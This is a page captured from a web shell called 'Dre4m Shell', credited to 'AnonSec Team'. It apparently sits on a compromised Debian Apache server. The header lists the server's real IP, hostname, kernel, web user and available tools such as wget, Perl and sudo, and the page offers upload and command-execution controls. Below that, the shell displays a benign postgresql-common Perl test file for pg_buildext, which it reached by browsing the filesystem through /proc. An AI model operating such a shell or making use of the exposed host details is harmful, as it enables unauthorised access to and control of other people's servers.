Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 13.58.155.197
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/usr/share/postgresql-common/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/usr/share/postgresql-common/t/190_pg_buildext.t
# Check pg_buildext and that our debhelper integration works

use strict;

use lib 't';
use TestLib;
use PgCommon;
use Test::More;

if ($PgCommon::rpm) {
    pass 'No pg_buildext tests on RedHat';
    done_testing();
    exit;
}

# when invoked from the postgresql-NN package tests, postgresql-server-dev-all is not installed
if (! -x '/usr/bin/dh_make_pgxs') {
    pass "Skipping pg_buildext tests, /usr/bin/dh_make_pgxs is not installed";
    done_testing();
    exit;
}

my $arch = `dpkg-architecture -qDEB_HOST_ARCH`;
chomp $arch;

if ($ENV{PG_VERSIONS}) {
    note "PG_VERSIONS=$ENV{PG_VERSIONS}";
    $ENV{PG_SUPPORTED_VERSIONS} = join ' ', (grep { $_ >= 9.1 } split /\s+/, $ENV{PG_VERSIONS});
    unless ($ENV{PG_SUPPORTED_VERSIONS}) {
        ok 1, 'No versions with extension support to test';
        done_testing();
        exit;
    }
    note "PG_SUPPORTED_VERSIONS=$ENV{PG_SUPPORTED_VERSIONS}";
}
my @versions = split /\s+/, `/usr/share/postgresql-common/supported-versions`;

# prepare build environment
chdir 't/foo';
chmod 0777, '.', 'foo-123';
umask 0022;

program_ok 0, 'make clean';
program_ok 'nobody', 'make tar';
program_ok 'nobody', 'cd foo-123 && echo y | EDITOR=true dh_make_pgxs';

note "testing 'dh --with pgxs'";
program_ok 'nobody', 'cd foo-123 && DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -us -uc';

foreach my $ver (@versions) {
    my $deb = "postgresql-$ver-foo_123-1_$arch.deb";
    ok (-f $deb, "$deb was built");
    SKIP: {
        my $have_extension_destdir = `grep extension_destdir /usr/share/postgresql/$ver/postgresql.conf.sample`;
        skip "No in-tree installcheck on PG $ver (missing extension_destdir)", 2 unless ($have_extension_destdir);
        like_program_out 'nobody', "cd foo-123 && PG_SUPPORTED_VERSIONS=$ver dh_pgxs_test",
            0, qr/PostgreSQL $ver installcheck.*test foo * \.\.\. ok/s;
    }
    program_ok 0, "dpkg -i $deb";
    like_program_out 'nobody', "cd foo-123 && pg_buildext installcheck",
        0, qr/PostgreSQL $ver installcheck.*test foo * \.\.\. ok/s;
    like_program_out 'nobody', "cd foo-123 && echo 'SELECT 3*41, version()' | pg_buildext psql", 0, qr/123.*PostgreSQL $ver/;
    like_program_out 'nobody', "cd foo-123 && echo 'echo --\$PGVERSION--' | pg_buildext virtualenv", 0, qr/--$ver--/;
    program_ok 0, "dpkg -r postgresql-$ver-foo";
}

note "testing 'dh --with pgxs_loop'";
system "rm -f postgresql-*.deb";

program_ok 'nobody', 'sed -i -e s/pgxs/pgxs_loop/ foo-123/debian/rules';
program_ok 'nobody', 'cd foo-123 && DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -us -uc';

foreach my $ver (@versions) {
    my $deb = "postgresql-$ver-foo_123-1_$arch.deb";
    ok (-f $deb, "$deb was built");
}

program_ok 'nobody', 'make clean';

done_testing();

# vim: filetype=perl

Anon7 - 2022
AnonSec Team